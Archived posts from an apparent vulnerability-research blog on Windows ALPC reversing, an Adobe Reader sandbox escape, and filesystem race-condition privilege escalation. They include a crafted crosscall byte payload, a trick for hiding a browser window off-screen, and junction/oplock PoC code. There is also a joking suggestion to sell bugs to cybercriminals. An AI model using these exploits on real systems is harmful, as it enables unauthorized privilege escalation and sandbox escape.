There are new articles available, click to refresh the page.
Before yesterdayPlace where polar bears dwell

Reversing ALPC: Where are your windows bugs and sandbox escapes?

31 October 2018 at 10:52


While I don’t profess to be a Windows internals expert, my usual approach to bug hunting is as follows:
  1. Finding and watching interesting attack surface videos on YouTube
  2. After finding a topic of interest, I Google everything I possibly can about the subject
  3. Analyze the minimal knowledge to get started and experiment kinesthetically
The goal of this post is to understand my process for finding bugs (which are generally done through any means necessary), so it’s important to note they aren’t indicative of mastery in any given subject. As always, if you find any errors, or corrections, feel free to contact me. This is a personal hobby of mine and do not profess to being a professional vulnerability researcher.

With that said:Where are your windows bugs and sandbox escapes?😊

Ever since watching the video by Ben Nagy (Windows Kernel Fuzzing for Intermediate Learners), I was really interested in ALPC (Advanced Local Procedure Call). It wasn't until after a Hack.lu talk from 2017, by Clement Rouault and Thomas Imbert however (A view into ALPC-RPC), that I managed to piece enough together to get started. Before the talk was published, I had done some work hooking NtAlpcSendWaitReceivePort without much results :(.

The way I approach step three is simple: I try to reiterate everything in my head and ask questions without getting overly technical.

Q. What the hell is ALPC?
A.  Advanced Local Procedure Call (ALPC) - a Windows-internal mechanism that enables a client process running within the OS to ask a server process running within the same OS to provide some information or perform some action

Q.Can we attack communication between processes?
A.Yes. If communication happens between a lower privileged and higher privileged process, this is a great target because it means we can influence something from an attacker-controlled space.

Q. What type of communication uses ALPC?
A. Local RPC will use ALPC! Local RPC (Remote Procedure Call), which is basically calling functions exposed by other processes, but for some reason everything needs to have a fancy name! There is other types of communication using ALPC I believe, but let's focus on RPC as a lot of research has already been done on it!

Q. Focusing on RPC over ALPC, where can I find these "Remote Procedure calls"?
A.Looking at the RPC over ALPC video, we can use RpcView for this!

All we need to do is choose an interface (interface is a set of functions that we can call using RPC) and create an IDL (IDL provides a template on how we need to call functions and what parameters they take, so it saves us from reversing all that stuff. It’s a strange COM-thingy where they wanted some intermediate language for porting stuff between programming languages, but it basically failed and didn't become the new industry standard. Only Microsoft uses it now!).

Q. We found out all the info in rpcview and created an IDL for an interface, now what?
A.We can copy and paste into a James Forshaw PoC and make things work! Woohoo!


Setting up symbols in RpcView

First open WinDbg and run the following command (download Windows SDK for WinDbg):
symchk /s srv*c:\symbols*https://msdl.microsoft.com/download/symbols c:\windows\system32\*.dll
NOTE: This will take a long time!
After that in RpcView go to Options> Configure Symbols

Step 1: Find an interface to reverse

Open RpcView as Administrator: By default, it will have the system process selected with a list of all interfaces.

Look for an interface that sounds interesting. If you click on an interface, you can see the functions it supports, and if symbols are set up you can see the function names! Function names are usually what I base my decision for further investigation on.

Step 2: Compiling the IDL in a Forshaw PoC

First, you want to make sure the interface you want to reverse runs as SYSTEM (user is fine if testing from a sandbox) which can be seen in RpcView. Make sure the epmapper is registered (the interfaces will show up as green), if not things will throw around some errors (if anyone knows how to call into unregistered interfaces, please let me know).

For the purpose of this tutorial, we will reverse the background tasks infrastructure service (the one with 17 procs).

If you right-clickon the interface and press decompile it will generate an IDL.

Copy-paste the text from the decompilationwindow and open the following PoC:

This is based on a PoC that Forshaw wrote.

Overwrite rpc.idlin the visual studio solution with the IDL we pasted from RpcView (you might have to retarget the solution, so right click on it and press retarget solution).

Trying to build the IDL from the background tasks infrastructure service failed for me the first time:

It couldn’t create a prototype for function 5. So, we just comment it out and try to build again. We can dive into IDA later and fix it ourselves if we really want to know more about this function.

This time we get different errors. It seems Struct_28_tisn’t defined (IDLs RpcView creates are often buggy and a lot of fixing often needs to be done). Let’s just define a barebones structure, which we’ll need to reverse later. For now, we’ll just avoid functions using it.

Step 3: Opening the interface in IDA and looking for an interesting method

In RpcView we can see our interface is located in bisrv.dll

Let’s open the DLL in IDA and in RpcView let's look for a method we should inspect further!

Let’s check out RBiSrvResetActiveUserForPackage!
If we look at rpc.idlin our solution we see it only takes wchar_tas an argument, meaning it’s easy to call without a lot of reversing!

We can easily find this function in IDA!

At this point you can quickly go through the function in IDA to determine if it's worth investigating further. For the sake of this tutorial, let's see how we can call this function and hit this code!
We add the function to our code in runexploit();in ALPC-TaskSched-LPE.cpp(I'm too lazy to change the names).

The first parameter is a context handle or something and I have no idea what this does but know you must put it there. After that we have our wchar_targument and you need to reverse to function in IDA to figure out what it should be. A quick way is to dump a file path there and check inprocmon to see if any file system stuff happens!
Now we only need to copy paste the UUIDof our interface, so we know what interface to connect to. You can find this at the top of rpc.idl.

Copy paste this here:

Next compile and simply run it! Yay! You are now triggering a remote function in a system process!

Step 4 Reversing methods

The quickest way to find bugs is by calling methods and looking at them in procmon. Look for createfile calls that happen while not impersonating: These are usually interesting. We can also do dynamic reversing, because we often need certain arguments to hit the right code paths.

Every ALPC interface runs in a process and you can find the PID in RpcView:

Simply attach a debugger to this PID and break on the method you are calling with the PoC. After, you can step through code and trace the path it takes in IDA. If you see it failing certain checks, you’ll have to figure out why and adjust arguments accordingly, so you can hit the code you want. There are a lot of tutorials on reversing using WinDbg and IDA online *cheers*.


Aside from junction/hard link abuse (see task scheduler and delete bug) it would be interesting to reverse functions, figure out their functionality and see if it can be abused in unintended ways. With this, I wanted to demonstrate that you don’t need to have a lot of technical capabilities to find bugs, just persistence.

If you do find bugs, don't forget to sell to Russian cybercriminals, they are nice people. Thank you!

Credits and Citation

I want to point out all the prior research by others and people that made this possible. I'm not great at reversing, so I'm happy others did the heavy lifting already!

Ben Nagy: Windows Kernel Fuzzing for Intermediate Learners: COSEINC [0] https://www.youtube.com/watch?v=wnNyPcerjJo
Clement Rouault / Thomas Imbert: Hack.lu 2017: A view into ALPC-RPC [1]
James Forshaw:
and pirate moo (@apiratemoo) for editing this article!

How to escape sandboxes without technical skills

9 February 2018 at 11:42
(edit: In retrospect .. I could have just gone through the chrome source code and figured things out that way.. I kind of made things more difficult for myself here)

Tired and stressed out today from sandboxescaping, so I decided to write another blogpost! Because thats fun!

First of all, everything described in here is just copied straight out of these two sources, these people are way more skilled then me:


So, because Adobe is my favorite company (pleaaasseee hire me Adobe, I'll work for free!), I wanted to find more bugs in Adobe software! The following is just me explaining how a dumb person like me can still find sandbox escapes. With this article I'm hoping to lower the bar of entry for everyone, because IT security is stupid, especially sandboxes, and it must die and burn in hell forever.

1. Stealing research

Knowing our target (Adobe reader), we will first have to steal research. I mean... gather all information and previously done research on the target!  After you have compiled a list, just go through it all! Just be like those "Borg" things from Star Trek, assimilate stuff.

2. Dumbing it down 

If you are like me, then you will probably not understand 99% of the research you just stole. However, using our very advanced technique of dumbing things down, we should be able to make sense of it!

Just ask yourself a series of questions:

What do I want to achieve?

Escape the sandbox

How do I escape a sandbox?

Attack communication between the sandbox and .. the stuff outside the sandbox

Does any of the research I stole mention this type of communication?

Yes, I figured out that the Reader sandbox is based on the chrome sandbox, and that it has  something called "crosscalls" to communicate with the broker process (stuff outside the sandbox)

How do I create a crosscall from the sandbox?

It seems there is this function, the Breeding sandworms paper mentioned it. But they didn't say how I could find it! Luckily for me they had this screenshot of the function to send out crosscalls:

So I downloaded an old version of Adobe Reader, and searched for that sequence of instructions in IDA and I found the function! Wohoo! After that I found out that it calls this import: SignalObjectAndWait, and only this function will call it... so thats how you can find the crosscall sending function in all versions!

If you break at the top of this function the crosscall messages will be in poi(esp+0x4)!

Yay, we can send crosscalls now, but which crosscall messages can we send?

The Exodus Intel paper answered that for me! So in the .data section, you can find all the crosscalls and the parameters they take. The chrome sandbox just hooks a ton of functions, but they also have crosscalls attached to them, so if you can find a hooked function, for example WritePrinter (imported from WINSPOOL), and then just do an XREF on it, one of them will be this:

Then xref on the function that calls this and we get a bigger function... xref again on the bigger function and we hit the data section:

From the nice people at Exodus Intel I learned that 96 is the crosscall ID, and it takes two parameters, one of type 4 and one of type 5 (the Exodus Intel slides show what that correlates to.. we are mostly interested in parameters of type 1, since that is a wchar, and that usually means, file paths and stuff like that, yay!). Also if you scroll down there will be an offset to a function, this is the function the broker process ends up calling if it recieves this crosscall!

All crosscalls are clustered together in the data section, just scrolls up and down, we're not interested in crosscalls that are for hooked functions, because... chrome people made them.... and they are suuuper smart people. Adobe however added a bunch of new broker functionality! Finding those crosscalls is not that hard, and the code is alot more chaotic, so you can quickly spot who wrote it!

We know what function sends crosscalls, we know how to find the crosscall ID, the parameters and the function it ends up triggering. Now, how do we craft a message?

 We know the function that sends out crosscalls, and we know that if we breakpoint on it, a message will be in poi(esp+0x4), so we can just copy one of them into HxD (or whatever) and replace the crosscall ID and parameters. Be aware that these messages follow a very specific template, here is what I found out either by stealing research or just observational skills:

I forged a message in HxD, I don't remember which exact crosscall this is or if it will even work, I just picked something random. Either way! The message starts with 33, this is our crosscall ID!

Then at offset 0x3C we can see "03", this is the number of parameters! This has to correlate to the number of parameters we see in the data section place I showed earlier. And this offset is always the same, the space between this and the crosscall ID is used for stuff the broker sends back after completing the call (I think).

After that we'll specify our 3 parameters. This happens in the following format:

-Parameter type
-Offset in the message

For example, the first parameter in the message above is declared as:

01 00 00 00 70 00 00 00 2C 00 00 00

0x01 = Parameter type is 0x01, meaning its a wchar.
0x70 = At offset 0x70 we can find the parameter
0x2c = Our wchar is 0x2C bytes long

We do this for all three parameters... after that you'll see 0xFF 0xFF ... I'm not sure what that means, but it seems to relate to the total message length, so I always make it a large value.

There is a few other details to mind about, but if you have questions just let me know on twitter! I hate writing technical stuff, its boring.

Either way! We have everything! We can craft and send messages! All that you need to do now is just look for interesting broker functions to trigger, but reversing them is not that hard, just look at the imports and you can get a fairly accurate image of what it does! Oh, once you have your crafted message, just copy paste it into poi(esp+0x4) when using a breakpoint for our crosscall sending function.

3. Hit random buttons, become depressed and suicidal, find sandbox escapes

Dumbing it down is really the hardest part. But once we manage to just figure out the most basic things we need (crafting and sending crosscalls), we can start to mess around!

Its just like a game, you move things around untill you win. Just call random crosscalls, look in Procmon, try to reverse the broker functions and attack any failure to do proper checks or whatever.

Just go crazy, this is really the part where technical skills doesn't matter that much and creativity shines.

I usually work in sprints, I work two weeks straight, just sleeping and working... your life can only be you and the stupid sandbox, nothing else should matter during a sprint. Sometimes the sandbox wins after two weeks, and I take a break, write rants on twitter, be depressed, feel sorry for myself, and after that I just start the process again. Its not about being smart, being smart has nothing to do with this, its about going at it, not giving up, repeating the process untill you escape that stupid sandbox.

And with that I conclude "How to escape sandboxes as a dumb person". Enjoy!

Ps: Sorry if I'm not replying/have not replied to DMs on twitter recently, just trying to keep focused on work instead of my stupid life and everything else.

Adobe Reader Escape... or how to steal research and be lame.

19 January 2018 at 09:51
(I hope I’m not overlooking anything and making wrong assumptions.. I’m not a very smart person)

Version tested:

Note: Similar - if not the same - bug was discussed in this talk: https://cansecwest.com/slides/2013/Adobe%20Sandbox.pdf (just using a different method of navigating..which I think does not work anymore today)

How to reproduce:

1.       Open windbg, attach to the low IL acrord32.exe process.

2.       Put a breakpoint on the function responsible for sending out our IPC call to the broker process:

Bp AcroRd32.exe+0x14D30

Note: This ofcourse is version dependent, just search for xrefs to the import “SignalObjectAndWait” … normally only this function calls it, regardless of version (just bp at the start of the function).

3.       Let it run, wait for the breakpoint to hit. Once that happens we simply change the message with a crafted one by using the following command:

Eb poi(esp+0x4) 11 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 00 00 04 00 00 00 AC 00 00 00 04 00 00 00 01 00 00 00 B4 00 00 00 EC 00 00 00 02 00 00 00 A4 01 00 00 04 00 00 00 02 00 00 00 AC 01 00 00 04 00 00 00 02 00 00 00 B4 01 00 00 04 00 00 00 02 00 00 00 BC 01 00 00 04 00 00 00 02 00 00 00 C4 01 00 00 04 00 00 00 06 00 00 00 CC 01 00 00 0A 02 00 00 00 00 00 00 FF FF 00 00 00 00 00 00 00 00 00 00 00 00 00 00 68 00 74 00 74 00 70 00 73 00 3A 00 2F 00 2F 00 61 00 63 00 63 00 6F 00 75 00 6E 00 74 00 73 00 2E 00 67 00 6F 00 6F 00 67 00 6C 00 65 00 2E 00 63 00 6F 00 6D 00 2F 00 4C 00 6F 00 67 00 6F 00 75 00 74 00 3F 00 63 00 6F 00 6E 00 74 00 69 00 6E 00 75 00 65 00 3D 00 68 00 74 00 74 00 70 00 73 00 3A 00 2F 00 2F 00 61 00 70 00 70 00 65 00 6E 00 67 00 69 00 6E 00 65 00 2E 00 67 00 6F 00 6F 00 67 00 6C 00 65 00 2E 00 63 00 6F 00 6D 00 2F 00 5F 00 61 00 68 00 2F 00 6C 00 6F 00 67 00 6F 00 75 00 74 00 3F 00 63 00 6F 00 6E 00 74 00 69 00 6E 00 75 00 65 00 3D 00 68 00 74 00 74 00 70 00 3A 00 2F 00 2F 00 63 00 6E 00 6E 00 2E 00 63 00 6F 00 6D 00 00 00 00 00 00 00 00 00 0F 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 00 00 FF 00 00 00 00 00 00 00 FF 00 00 00 00 00 00 00 FF 02 00 00 00 00 00 00 FF 02 00 00 00 00 00 00 01 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 01 00 00 00

The tag for this “crosscall” is 0x111 .. it has 8 parameters .. one of them is an URL. The broker process will check this URL against an hardcoded list of host names:

If our url hostname matches one in the list it won’t prompt before opening some weird IE frame, that runs in the broker process at medium (best idea ever, and yes IE = Internet Explorer).

But Adobe is not really smart, because its super easy to find something like this:


So yea, the stupid hostname is going to match (accounts.google.com is whitelisted) .. but it will simply redirect to whatever… so… that’s kind of silly .. xD

So we can open weird IE windows running at medium without prompt and control the contents!

Our chain would look like this: Adobe reader RCE -> This escape -> IE RCE  (its not pretty, but we don’t need an IE sandbox escape, since it already runs at medium……… I think…. Atleast inspect.exe tells me it does).

We can also easily hide the IE window since we control its size and position, and by giving the position a large value it will be rendered outside the screen for some weird reason (atleast on my VM) … the offset for the position in our message is: 0x1A4 and 0x1AC  size is: 0x1B4 and 0x1BC

If we use a “normal” size and position values it will look like this.. lets say position 0xFF, 0xFF and size 0x2FF, 0x2FF:

Now if we change our position parameters to 0x4FF and 0x4FF and size to 0x65 and 0x65, it will look like this (renders outside the screen!):

So besides the adobe icon in the taskbar it won’t be suuuuper obvious… so if your IE RCE doesn’t take ages to run (once you get medium IL RCE… you just close the stupid IE window again), I guess it would be fine! This bug was one that immediately stood out for me … its just so obvious.. but its an ugly bug, because it requires a long chain … but I have a decent idea of the attack surface now, so maybe I can find better bugs in the future!

Chasing polar bears: part two

31 January 2020 at 00:57
Unlike that task scheduler exploit, which I had written with the purpose of selling (I was desperate), all my other PoCs are pretty shitty, they are not optimal and are purely written to demonstrate the vulnerability. The people at bug bounty programs don't need a full exploit.. they just need a PoC that allows them to understand the root-cause of a bug.

Writing a PoC and hitting timing windows

A. Opportunistic locks

Opportunistic locks, or simply, Oplocks, are a way to lock a file when a certain type of operation is performed on it.
For example, you can lock a file when a write operation occurs, this will delay the write operation for as long as you want and you can do stuff in a callback function, the write operation will only happen after returning from the callback function, a.k.a releasing the lock.

Let's say we have the following set-up:

1. c:\a is a junction pointing to c:\c
3. We place an Oplock on c:\c\notepad.exe that triggers on write.
2. A program tries to write to c:\a\notepad.exe (resolves to c:\c\notepad.exe)
4. The lock triggers, delaying the write operation. We can now modify the junction c:\a to point to c:\windows\system32.
5. Our program tries to write to c:\windows\system32\notepad.exe once the lock is released.

Oplocks buy you time to exploit a timing window, because it freezes the file operation right before it happens.
What you can't do is modify the file that has the Oplock, this is why a lot of cases are a lot more complicated and require other mechanisms to hit your timing window.

If you can use a simple "bait and switch" (as the above is called), you should. It's by far the most reliable, if that is not an option.. continue reading.

B. Thread Priority, loops and Oplocks

This is a bug that I found all the way in September (patched a while ago).

LINK: https://github.com/SandboxEscaper/Bug (has video demo too of the bug and a readme.. I suggest using these materials to better understand this write-up)

The way this bug worked:

If we install a store app it will write the logo image files to c:\users\%username%\appdata\local\temp  first in .tmp format.
Once written to the temp folder, it copies the contents and creates the final .png files in c:\users\%username%\appdata\local\PlaceHolderTileLogoFolder\%random string%.

The bug here is that we can overwrite the temporary .tmp files with our own contents. Then those "tampered" contents are copied and written to a user-writable folder that we can turn into a junction, but without impersonation as SYSTEM.

Since we can't manipulate the length of the timing window in this case (i.e as in a bait and switch scenario), we have to increase execution speed to make thing more reliable, you do this with:

HANDLE bear = GetCurrentThread();

This will give the executing thread the highest priority. Just make sure you have multiple CPU cores.

1. First problem: Getting the name of the random folder

To solve this we turn c:\users\%username%\appdata\local\PlaceHolderTileLogoFolder into a junction to c:\bear. Now we can "poll" c:\bear for the creation of the random folder.

while (continue1 == false) {
hFind1 = FindFirstFileA("C:\\bear\\*", &FindFileData1);

while (FindNextFileA(hFind1, &FindFileData1) != 0)
if (strcmp(FindFileData1.cFileName, ".") == 0 || strcmp(FindFileData1.cFileName, "..") == 0)
continue1 = true;

The random folder that gets created won't be write-able by a user. So we simply change the junction on c:\users\%username%\appdata\local\PlaceHolderTileLogoFolder to c:\bear1 (instead of c:\bear), then create the folder with the random name we just found and turn that into a junction pointing to c:\windows\installer (or wherever you want your files planted). The appx service, where the vulnerability lies, is entirely blind to all this junction stuff.

ReparsePoint::CreateMountPoint(ws, L"\\??\\c:\\bear1", L"Polar bears are really cool");
sprintf_s(filepath1, "%s\\%s", path1, FindFileData1.cFileName);
CreateDirectoryA(filepath1, NULL);

wstring blah1;
string bla1(filepath1);
StringToWString(blah1, bla1);
ReparsePoint::CreateMountPoint(blah1, L"\\??\\c:\\windows\\installer", L"Bears are smart then the person reading                  this");

After it creates the files in the temp folder and then copies the contents and tries to write the final image files to the PlaceHolderTileLogoFolder\%random string% folder, it will now create them in c:\windows\installer because of the structure we've just set up. Next step is taking control of the contents. Arbitrary file creation alone is not useful.

2. Second problem: Overwriting the .tmp file in  c:\users\%username%\appdata\local\temp

What we do here is, we first call FindFirstFile on  c:\users\%username%\appdata\local\temp\wsu*.tmp.
We keep repeating this until one of these files is found.

 string bl(GetAppDataDirectory());
string bl2 = "\\Temp\\wsu*.tmp";

char filepath[512];

std::string bl3(GetAppDataDirectory());
std::string bl4 = "\\Temp";

wstring blahz;
hFind = FindFirstFileA(bl.c_str(), &FindFileData);
} while (hFind == INVALID_HANDLE_VALUE);

After that we create a lock on it, because we need to overwrite this file AFTER the appx service has written to it. Otherwise our contents will just get overwritten. This means we create a lock, we don't keep it locked but release it as soon as it happens. Using Oplocks like this is different, we don't use the callback function, but just an Oplock to instrument when a write to a file happens, as our race condition is only valid after the write has occured. It's a way to get a specific timing, right BEFORE the vulnerability happens. This is what you always do, you find a way to instrument something that happens right before your timing window, and then use that to actually hit your timing window.

FileOpLock::CreateLock(blahz, test);

The oplock callback function is going to set triggered to true as soon as the lock is activated. But we should only continue code execution AFTER the lock has triggered, this is why we loop QueryPerformanceCounter(&li);. Just do whatever in the loop, doens't matter really. Just dont use sleep(1).. that will add too much delay and might mess up timings.

while (triggered == false)

Once the lock is triggered we have our timing window. Now is the time to write to our .tmp file!
Spam createfile a 1000 times! If we still don't succeed after a 1000 times we have most definitely missed the timing window lol.

int count = 0;
do {
hFile = CreateFileA(filepath,                // name of the write
GENERIC_WRITE,          // open for writing
FILE_SHARE_READ | FILE_SHARE_WRITE,                      // do not share
NULL,                   // default security
OPEN_EXISTING,             // create new file only
FILE_ATTRIBUTE_NORMAL,  // normal file
NULL);                  // no attr. template

test1 = WriteFile(
hFile,           // open file handle
DataBuffer,      // start of data to write
dwBytesToWrite,  // number of bytes to write
&dwBytesWritten, // number of bytes that were written
NULL);            // no overlapped structure
} while (count < 10000);

Now the appx service will copy the tampered contents and create a file with it into c:\windows\installer (because of the junctions we set up earlier)

3. After thoughts

Theoretically, even if you can write a .png with the contents of a valid .msi file into c:\windows\installer, this could be a problem, because the installer ignores file extensions (just cares about the contents) and files in c:\windows\installer get treated differently in some occasions if I remember correctly.

However, and I found out about this after submitting this bug.. you can totally create a junction structure using the object manager and control the filename of the file being created.

They explain how to do this.
With this, this bug will let you control the NAME and CONTENTS of the file you are writing. So definitely easily exploitable.
If this trick isn't patched yet, you can even use this to replace the now mitigated hardlinks and redirect ACL writes if junction checks are not present. Which is why I think this trick is kind of a big deal and should really be addressed.

Chasing polar bears: part one

16 December 2019 at 18:47

Edit: sample bug now patched: https://www.vmware.com/security/advisories/VMSA-2020-0002.html

(note: click on images to view larger version)


I. Using Procmon
II. Writing a PoC
III. Directory junctions

I. Using Process Monitor

Disclaimer: I am currently, as of publishing this, not working for any company.

a. Introduction

Download: https://docs.microsoft.com/en-us/sysinternals/downloads/procmon

This will be your main tool for tracking down filesystem race conditions.
Process Monitor is a tool to record all file operations that occur in the filesystem, thus making it easy to find possible timing windows that can be exploited.

b. Finding a bug

Lets see how we find "timing windows" in Process Monitor.
A timing window is nothing more then a duration of time where-in a bug can be exploited.
A lot of filesystem bugs are based on exploiting timing windows.. a.k.a winning a race (condition).

A few years ago I saw the following folder:

c:\windows\installer (hidden by default)

For whatever reason, some of the .msi files in there will auto-elevate when you run them. They do not prompt, even on non-admin.
This means that we can run installer files, doing file operations at higher privileges, no prompts required.
The limitation being that this only applies to .msi files inside of c:\windows\installer (which are already installed programs and features).

To reproduce this bug, you will need a windows 10 vm with vmware tools installed.
You can find many other bugs in other third-party .msi files and perhaps even Microsoft ones (assuming they are already installed by an admin and are under c:\windows\installer)

Go to c:\windows\installer and if vmware tools is installed, locate the vmware tools .msi file (from an non-admin account), mine is about 44mb big, just sort by size, you can confirm you got the right one by right clicking, selecting "Properties" and going into the "Details" tab. The names of the .msi files are randomized, so it won't be the same on your system:

Launch process monitor and apply the following filters (press control + L):

-We only want to see installer related processes.

 -We do not want to see file operations in c:\windows, same for c:\program files.

 -We also only want the installer process running at system, discard any running at medium.

-We also only want CreateFile operations, otherwise there will be way to much clutter that doesn't really matter.
Once we find an interesting file handle being opened we can disable this filter again to see what happens with it.

There is one more thing we need to do, if you double click on a CreateFile operation in Process Monitor, sometimes you will see that it is "impersonating":

This means that it will impersonate someone else, in this case the local user, so this CreateFile call will only have the same access rights that the user has (because it pretends to be the user!).
This isn't useful for us, so we discard those too, but make sure to only discard when it impersonates the user, in a few cases it might actually impersonate itself (nt authority/system):

In my case the user is part of the DESKTOP-L7TMINM group (which is the computer name), hence the filter "contains Impersonating: DESKTOP", but it may be different for you.
Just type "whoami" in a command prompt to see your computer name and user.

Hotkeys for Process Monitor:

-Start/stop recording: control + E
-Clear the screen: control + X

Start recording and enter the following command (where 368c0.msi is the vmware tools .msi file, different name on your system):

This is telling the installer to "repair" the vmware tools installation.
Make sure to press "no" when it asks for a reboot at the end.
After it completes we will see that it does a lot of file operations in c:\ProgramData.
The ProgramData folder is interesting, because sometimes folders might be write-able by a user.

This one looks interesting for example:
C:\ProgramData\VMware\VMware CAF\pme\scripts\stop-listener.bat

If we go to this folder and check the permissions:

We see it being given write permissions to non-admin users.
We can confirm this by creating a file in the scripts folder:

It works!
However we cannot modify any of the existing files, which is what we are really after.
These can only be changed by an admin user.
So lets dig deeper.

Add a filter for C:\ProgramData\VMware\VMware CAF\pme\scripts\stop-listener.bat:

Resulting in:

Looking at this, at the bottom, we see "NAME NOT FOUND" twice, and right before that a handle being opened with delete permission.
If we remove the "Operation is CreateFile" filter we can see more details:

It is moving the file somewhere else (which is what SetRenameInformation does)!
So for a short time window we can actually drop a file there with the same name, but we have to do it before it gets created again.

 Lets write a PoC for this and see what happens!

II. Writing a PoC

We know that we have a timing window, right after the file stop-listener.bat gets deleted and before it gets created again.
That is why it is called a timing window, it is literally a window in time!

We could use oplocks to determine our timing window, but I think the much easier route would be spamming CreateFile until it succeeds and creates a file right after the original one is deleted.

We can also increase the thread priority to speed everything up and make sure we hit our timing window.
However, when increasing thread priority, make sure you are running more then one cpu.. as it might freeze your VM otherwise.

Lets try something like this:

HANDLE thisthread = GetCurrentThread();
SetThreadPriority(thisthread, THREAD_PRIORITY_TIME_CRITICAL);

HANDLE testhandle = NULL;
do {
testhandle = CreateFile(L"C:<\\ProgramData\\VMware\\VMware CAF\\pme\\scripts\\stop-listener.bat>", GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED, NULL);           
} while (testhandle == INVALID_HANDLE_VALUE);

Full poc code:
(also has headers for junctions and oplocks)

Run polarbear.exe (compile above git project to get the exe) and then run our .msi file again using the repair flag.

Note: You can also pass the /quiet and /norestart flag to hide any UI as shown in the video.
Video takes a while since to finish up.
In this particular case I couldn't get the /norestart flag working for whatever reason.. but maybe you can find a way around it.
Atleast the UI is gone!



Using this bug we have basically gained write access to a file we would otherwise not have write access to.
Ofcourse exploitability is another thing.
But just look at all the privileged file operations going on, I wouldn't be surprised if atleast one of those is exploitable. And some of the other files in c:\ProgramData\VMware suffer from the exact same bug.
I personally just care about bugs in Microsoft code, so I'm going to stop right here.
Also, I just wanted to demonstrate a filesystem bug that was unpatched, this bug is likely not exploitable, unless any of the files that you can take control over get executed by a higher privileged process, but I have not investigated this.
You can find tons of other third party installers that will start doing weird file operations when passing the repair flag to them (and I definitely recommend messing around with different flags too, you never know).
Also if it starts removing files without impersonation.. that's a good candidate for arbitrary deletes!

You could just find some bugs in third party .msi files and then build a tool that scans the c:\windows\installer directory for any vulnerable ones on the target where you want to achieve privilege escalation (the randomized names won't be a problem, since you can pull all the info you need from the file details programmatically).

I vaguely remember an .msi file belonging to an old Microsoft component creating files and folders directly in c:\ when running it with the repair flag, which really isn't good. (not c:\config.msi, that I will talk about in part two). So there is definitely more bugs out there.

This bug didn't use junctions, but with junctions it is the same routine, you identify a timing window and then figure out the tools you have to use.

III. Directory junctions

a. The code

The easiest way to exploit most filesystem race conditions are directory junctions.
In this chapter I will explain how they work.

Code to create directory junctions (credits go to @tiraniddo):

(you can just copy this project, also has the headers for oplocks in it)

ReparsePoint::CreateMountPoint(L"c:\\bear", L"\\??\\c:\\bear2", L"bear");

The first argument is the junction, the second one the target, the third one is the name but you can put there whatever you want, it doesn't matter at all.

In the second argument you may notice the file path starting with \\??\\, this is actually pointing to the global root.
It may be a good habit to precede your target file-path with this, as this could bypass some obscure checks. (found a bug where this was the case in the past)

b. What is a directory junction?

A directory junction is a special folder that points to another folder.

Bear is a junction, bear2 is not, you can see the icon is different.
It is basically like a shortcut, but unlike a shortcut, code trying to do file operations with  junctions won't notice that it isn't a regular folder. Which is why junctions are so powerful.

For example, you can turn folder "C:\bear" into a junction that points to "C:\bear2".
Now if a program tries to write to "C:\bear" it will follow the junction and actually write to "c:\bear2".

This is useful, because when a program tries to write to a folder, you can plant a junction there, and redirect the write to somewhere else.

Programs are not aware of junctions and will blindly follow them unless the "FILE_FLAG_OPEN_REPARSE_POINT" flag is passed. When this is the case it will not follow the junction.
However, this flag only applies to the folder being opened. So if "C:\thisisajunction\blah" is being opened, it will only check blah for a junction and is blind to the fact that "C:\thisisajunction" is actually a junction.
This is how you would bypass these types of checks.

You can see in Process Monitor when a junction is being followed:

When we run "mkdir c:\bear\blah", where c:\bear is a junction pointing to c:\bear2, you will see the folder being created in c:\bear2 instead in Process Monitor.
Notice the first one, where the result says "REPARSE", this means a redirection happened, because we wrote into a junction.

c. conclusion

What you need to take away from this is that you can create a folder, that points to another folder, which will redirect file operations.
See it like a wormhole!

This is nothing but a tool.

Know that you can create wormholes in the filesystem to redirect file/folder operations (creating files and folders, reading/writing files, and so on..).
Forget all the rest, forget the technical side of it, because that's how people get lost, especially when starting out, simplify things in your head... you have the power to create wormholes in the filesystem, that's all.

In part two I will show you how to use Junctions when you can't just win a race condition by spamming CreateFile!

Hunting for filesystem bugs

31 October 2019 at 00:13
Hunting for filesystem bugs

I. Introduction

Filesystem bugs have been fairly rare, until recently.
This is mainly because prior to James Forshaw's work we didn't have the tools to exploit these types of race conditions in the filesystem.

Forshaw has documented many ways to exploit filesystem bugs.
Well known examples are:

1. Directory junctions
2. Hardlinks
3. Object manager symlinks

There's a couple more, for a full overview I suggest reading all the blogposts by Forshaw and his published PoCs.

This video is particularly useful and I recommend watching it:


II. Finding filesystem bugs

This is just my way of finding bugs, and there is definitely better and more hardcore ways (i.e doing actual reverse engineering of attack surface where these bugs occur).

I mainly use one tool, process monitor:


Process monitor records all of the filesystem operations that occur in the filesystem (in usermode.. it doesn't work as well from kernel mode.. sometimes handles get opened through the system process.. but I think for tracking filesystem race conditions in the kernel it would be better to write your own hooks or something).

My two strategies:

1. Look at existing PoCs. If there is one bug in a piece of code, that is usually a good indicator that it's old code and that it's going to be prone to more bugs. Sometimes you can find new bugs or bypass a patch by just messing around with a PoC. One thing that I often do is to try and add more "complexity".
Examples of "adding more complexity" are deleting files and folder, because that might trigger a different code path when files and folders suddenly don't exist. Other things I do is modifying the ACL, such that the user doesn't have write access to it.. this could result in the higher privileged process to drop impersonation (I actually found bugs like this).

2. Apply a bunch of filters to process monitor and just go exploring. The trick here is to come up with ways to trigger code that people havn't looked at before... so you just start doing crazy stuff. Things I would try in the past is running all the tasks in the task scheduler, starting services, etc. Just do stuff! Try to think of obscure areas where people havn't looked before.. this can be hard, but just google things, look at msdn pages (i.e https://docs.microsoft.com/en-us/windows/win32/apiindex/windows-api-list).. there is a looooot of stuff people havn't looked at yet. Also, you can find a lot of code samples in the windows sdk, just start running them and messing around with it!

Filters that I commonly use in process monitor when "exploring":

-Integrity is "Medium" then exclude (unless looking for appcontainer escapes)
-Intergrity is "Low" then exclude
-Detail contains "Impersonating: DESKTOP-L7TMINM\test" then exclude (modify the user to match yours)
-Path contains "c:\windows" then exclude (but you might want to include c:\windows\temp as it's user-writeable)
-Path contains "c:\program files" then exclude

These you will want to discard most of the time because they won't result in a bug.
Next I'll often start by including this:

-Operation is "CreateFile" then include

